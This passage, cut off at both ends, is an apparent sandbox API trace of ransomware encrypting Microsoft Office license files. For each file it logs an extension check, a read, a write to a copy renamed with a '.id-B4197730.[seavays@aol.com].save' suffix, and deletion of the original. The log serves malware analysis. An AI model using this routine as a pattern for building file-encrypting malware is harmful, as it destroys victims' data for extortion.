Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0183.005] lstrlenW (lpString=".dbf") returned 4 [0183.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0183.005] lstrlenW (lpString=".1cd") returned 4 [0183.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0183.005] lstrlenW (lpString=".jpg") returned 4 [0183.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.006] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20967) returned 1 [0183.006] CloseHandle (hObject=0x538) returned 1 [0183.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0183.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0183.008] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.008] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0183.009] GetLastError () returned 0x0 [0183.009] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x51e7, lpOverlapped=0x0) returned 1 [0183.012] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x51f0, lpOverlapped=0x0) returned 1 [0183.014] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.014] WriteFile (in: hFile=0x54c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x102, lpOverlapped=0x0) returned 1 [0183.015] SetEndOfFile (hFile=0x54c) returned 1 [0183.015] CloseHandle (hObject=0x54c) returned 1 [0183.015] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.015] SetEndOfFile (hFile=0x538) returned 1 [0183.019] CloseHandle (hObject=0x538) returned 1 [0183.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0183.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0183.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0183.021] lstrlenW (lpString=".doc") returned 4 [0183.021] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString=".docx") returned 5 [0183.021] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.021] lstrlenW (lpString=".pdf") returned 4 [0183.021] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString=".xls") returned 4 [0183.021] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString=".xlsx") returned 5 [0183.021] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.021] lstrlenW (lpString=".ppt") returned 4 [0183.021] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0183.021] lstrlenW (lpString=".zip") returned 4 [0183.021] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString=".rar") returned 4 [0183.021] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString=".bz2") returned 4 [0183.021] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString=".7z") returned 3 [0183.021] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0183.021] lstrlenW (lpString=".dbf") returned 4 [0183.021] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0183.021] lstrlenW (lpString=".1cd") returned 4 [0183.021] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0183.022] lstrlenW (lpString=".jpg") returned 4 [0183.022] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.022] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11586) returned 1 [0183.022] CloseHandle (hObject=0x538) returned 1 [0183.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0183.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0183.023] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.024] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0183.147] GetLastError () returned 0x0 [0183.147] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d42, lpOverlapped=0x0) returned 1 [0183.149] WriteFile (in: hFile=0x444, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0183.160] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.161] WriteFile (in: hFile=0x444, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x108, lpOverlapped=0x0) returned 1 [0183.161] SetEndOfFile (hFile=0x444) returned 1 [0183.161] CloseHandle (hObject=0x444) returned 1 [0183.161] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.161] SetEndOfFile (hFile=0x538) returned 1 [0183.165] CloseHandle (hObject=0x538) returned 1 [0183.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1 [0183.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0183.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0183.166] lstrlenW (lpString=".doc") returned 4 [0183.166] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.166] lstrlenW (lpString=".docx") returned 5 [0183.167] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.167] lstrlenW (lpString=".pdf") returned 4 [0183.167] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString=".xls") returned 4 [0183.167] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString=".xlsx") returned 5 [0183.167] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.167] lstrlenW (lpString=".ppt") returned 4 [0183.167] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0183.167] lstrlenW (lpString=".zip") returned 4 [0183.167] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString=".rar") returned 4 [0183.167] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString=".bz2") returned 4 [0183.167] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString=".7z") returned 3 [0183.167] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0183.167] lstrlenW (lpString=".dbf") returned 4 [0183.167] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0183.167] lstrlenW (lpString=".1cd") returned 4 [0183.167] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76 [0183.168] lstrlenW (lpString=".jpg") returned 4 [0183.168] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.168] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6795) returned 1 [0183.168] CloseHandle (hObject=0x538) returned 1 [0183.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0183.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0183.170] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.170] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0183.172] GetLastError () returned 0x0 [0183.172] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0183.174] WriteFile (in: hFile=0x444, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1a90, lpOverlapped=0x0) returned 1 [0183.175] ReadFile (in: hFile=0x538, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.175] WriteFile (in: hFile=0x444, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0183.175] SetEndOfFile (hFile=0x444) returned 1 [0183.176] CloseHandle (hObject=0x444) returned 1 [0183.176] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.176] SetEndOfFile (hFile=0x538) returned 1 [0183.179] CloseHandle (hObject=0x538) returned 1 [0183.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0183.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0183.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0183.181] lstrlenW (lpString=".doc") returned 4 [0183.181] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString=".docx") returned 5 [0183.181] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.181] lstrlenW (lpString=".pdf") returned 4 [0183.181] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString=".xls") returned 4 [0183.181] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString=".xlsx") returned 5 [0183.181] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.181] lstrlenW (lpString=".ppt") returned 4 [0183.181] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0183.181] lstrlenW (lpString=".zip") returned 4 [0183.181] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString=".rar") returned 4 [0183.181] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString=".bz2") returned 4 [0183.181] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.181] lstrlenW (lpString=".7z") returned 3 [0183.181] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0183.182] lstrlenW (lpString=".dbf") returned 4 [0183.182] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0183.182] lstrlenW (lpString=".1cd") returned 4 [0183.182] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0183.182] lstrlenW (lpString=".jpg") returned 4 [0183.182] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.332] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11576) returned 1 [0183.333] CloseHandle (hObject=0x388) returned 1 [0183.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0183.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.757] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.758] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.759] GetLastError () returned 0x0 [0183.759] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d38, lpOverlapped=0x0) returned 1 [0183.760] WriteFile (in: hFile=0x2a8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0183.762] ReadFile (in: hFile=0x36c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.762] WriteFile (in: hFile=0x2a8, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0183.762] SetEndOfFile (hFile=0x2a8) returned 1 [0183.762] CloseHandle (hObject=0x2a8) returned 1 [0183.762] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.762] SetEndOfFile (hFile=0x36c) returned 1 [0183.765] CloseHandle (hObject=0x36c) returned 1 [0183.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0183.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0183.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0183.767] lstrlenW (lpString=".doc") returned 4 [0183.767] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.767] lstrlenW (lpString=".docx") returned 5 [0183.767] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.767] lstrlenW (lpString=".pdf") returned 4 [0183.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.767] lstrlenW (lpString=".xls") returned 4 [0183.767] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.767] lstrlenW (lpString=".xlsx") returned 5 [0183.767] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.767] lstrlenW (lpString=".ppt") returned 4 [0183.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0183.768] lstrlenW (lpString=".zip") returned 4 [0183.768] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.768] lstrlenW (lpString=".rar") returned 4 [0183.768] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.768] lstrlenW (lpString=".bz2") returned 4 [0183.768] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.768] lstrlenW (lpString=".7z") returned 3 [0183.768] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0183.768] lstrlenW (lpString=".dbf") returned 4 [0183.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0183.768] lstrlenW (lpString=".1cd") returned 4 [0183.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0183.768] lstrlenW (lpString=".jpg") returned 4 [0183.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.769] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11644) returned 1 [0183.769] CloseHandle (hObject=0x36c) returned 1 [0183.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0183.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.770] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.770] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 